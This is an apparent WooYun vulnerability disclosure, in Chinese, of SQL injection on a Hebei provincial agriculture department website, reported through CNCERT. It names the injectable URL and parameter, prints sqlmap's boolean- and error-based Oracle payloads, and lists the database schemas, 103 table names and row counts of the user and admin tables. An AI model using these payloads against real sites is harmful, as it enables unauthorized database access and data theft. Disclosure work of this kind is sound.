当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045968

漏洞标题:河北省某厅主站存在sql注入漏洞

相关厂商:河北省某厅

漏洞作者: 【|→上善若水】

提交时间:2013-12-26 18:54

修复时间:2014-02-09 18:54

公开时间:2014-02-09 18:54

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-26: 细节已通知厂商并且等待厂商处理中
2013-12-31: 厂商已经确认,细节仅向厂商公开
2014-01-10: 细节向核心白帽子及相关领域专家公开
2014-01-20: 细节向普通白帽子公开
2014-01-30: 细节向实习白帽子公开
2014-02-09: 细节向公众公开

简要描述:

河北省农业厅主站存在sql注入漏洞,可泄漏大量重要数据。

详细说明:

注入地址:http://www.heagri.gov.cn/hbagri/more_pic.jsp?siteid=0&lanmu_id=2。
丢入sqlmap:
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: lanmu_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: siteid=0&lanmu_id=2' AND 2786=2786 AND 'rCgc'='rCgc
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: siteid=0&lanmu_id=2' AND 9646=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(101)||CHR(109)||CHR(121)||CHR(113)||(SELECT (CASE WHEN (9646
---
[20:00:09] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[20:00:09] [INFO] fetching current database
[20:00:09] [INFO] resumed: HBAGRI3
[20:00:09] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'HBAGRI3'
[20:00:09] [INFO] testing if current user is DBA
current user is DBA: False
[20:00:13] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[20:00:13] [INFO] fetching database (schema) names
[20:00:13] [INFO] the SQL query used returns 8 entries
[20:00:13] [INFO] resumed: CTXSYS
[20:00:13] [INFO] resumed: EXFSYS
[20:00:13] [INFO] resumed: HBAGRI2
[20:00:13] [INFO] resumed: HBAGRI3
[20:00:13] [INFO] resumed: MDSYS
[20:00:13] [INFO] resumed: OLAPSYS
[20:00:13] [INFO] resumed: SYS
[20:00:13] [INFO] resumed: SYSTEM
available databases [8]:
[*] CTXSYS
[*] EXFSYS
[*] HBAGRI2
[*] HBAGRI3
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
Database: HBAGRI3
[103 tables]
+--------------------------+
| ADV_POPUPWIN |
| ADV_POPUPWIN_TJ |
| AREA_MANAGE |
| BAOKAO |
| CMS_AREA |
| CMS_AREA_REGION |
| CMS_ARTICLE |
| CMS_ARTICLE_HISTORY |
| CMS_ARTICLE_KIND |
| CMS_ARTICLE_KIND_ACCESS |
| CMS_ARTICLE_LOG |
| CMS_KIND_NXTUSER_ACCESS |
| CMS_MONTHLY |
| CMS_PIC |
| CMS_REGION |
| CMS_REVIEW |
| CMS_SYSLOG |
| CMS_UPLOAD_FILE |
| CMS_WORD_HREF |
| CMS_ZD |
| CROSS_MATCH |
| GAIS_ATTACHMENT |
| GAIS_CONTACT |
| GAIS_EMAIL |
| GAIS_EMAIL_GROUP |
| GAIS_GUESTS |
| GAIS_INFO |
| GAIS_NJSTATE |
| GAIS_NJSTATE_GROUP |
| GAIS_NOTICE |
| GAIS_NOTICE_GROUP |
| GAIS_OPTION |
| GAIS_RECEIPT |
| GAIS_REPORT |
| GAIS_SCORE |
| GAIS_SURVEY |
| GAIS_SURVEY_GROUP |
| HY_TEST1 |
| MARKET_SD |
| MARKET_XM |
| MARKET_YM |
| MEMBERS |
| NJJ_COMPANY |
| NJJ_COMPANY_TJ |
| NJJ_COMPANY_TJ_ACCESS |
| NJJ_COMPBT_YEAR |
| NJJ_COMP_COMMENTS |
| NJJ_COMP_CREDIT |
| NJJ_COMP_NEWS |
| NJJ_COMP_SERVICES |
| NJJ_COMP_TRADE |
| NJJ_GLBM |
| NJJ_MARKET |
| NJJ_ORDER |
| NJJ_ORDER_GOODS |
| NJJ_POPUPWIN_TJ_ACCESS |
| NJJ_PRODUCTS |
| NJJ_PRODUCTS_BT |
| NJJ_PRODUCTS_KIND |
| NJJ_PRODUCTS_KIND_ACCESS |
| NJJ_PRODUCTS_NEWS |
| NJJ_PRODUCTS_PICTURE |
| NJJ_PRODUCTS_TJ |
| NJJ_PRODUCTS_TJ_ACCESS |
| NJJ_SALE_COMPANY |
| NJJ_TSZX |
| NJJ_USER |
| NXT_ADMIN |
| NXT_DEPARMENT |
| NXT_DEP_GROUP |
| NXT_FRIENDSHIP_LINK |
| NXT_LANMU_LEVEL |
| NXT_LEVELS |
| NXT_OFFICE |
| NXT_SITE |
| NXT_SITE_LEVELS |
| NXT_TABLE_CRUD_LEVEL |
| NXT_TABLE_LIST_LEVEL |
| NXT_TREEBASE |
| NXT_TREEBASE_GROUP |
| NXT_TREEBASE_LEVELS |
| NXT_USER |
| NXT_USERHANDLE_LEVELS |
| NXT_USER_HANDLE |
| NXT_USER_LEVEL |
| OA_ARTICLE |
| OA_ARTICLE_KIND |
| OA_ARTICLE_KIND_ACCESS |
| OA_CONTACT |
| OA_GUESTS |
| OA_MESSAGE |
| OA_MESSAGE_GROUP |
| SMS_GATEWAYREPORT_LOG |
| TEMP |
| USER_ADMIN |
| USER_OPERATION_LOGS |
| WORKINFO_ALL |
| WORKINFO_CG |
| WORKINFO_SANQ |
| WORKINFO_SHQ |
| WORKINFO_SX |
| WORKTRADE |
| WORK_PERMIT |
+--------------------------+
由下看出多个敏感表存在大量数据。
sql-shell> select count(*) from NJJ_USER;
[20:05:52] [INFO] fetching SQL SELECT statement query output: 'select count(*) from NJJ_USER'
[20:05:57] [INFO] retrieved: 1206
select count(*) from NJJ_USER;: '1206'
sql-shell> select count(*) from NXT_USER;
[20:06:33] [INFO] fetching SQL SELECT statement query output: 'select count(*) from NXT_USER'
[20:06:36] [INFO] retrieved: 3478
select count(*) from NXT_USER;: '3478'
sql-shell> select count(*) from USER_ADMIN;
[20:06:56] [INFO] fetching SQL SELECT statement query output: 'select count(*) from USER_ADMIN'
[20:06:59] [INFO] retrieved: 399
select count(*) from USER_ADMIN;: '399'
渗透点到为止。

漏洞证明:

同上!

修复方案:

修改代码。

版权声明:转载请注明来源 【|→上善若水】@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-31 09:12

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-02-09 19:05 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    这也走大厂商?@xsser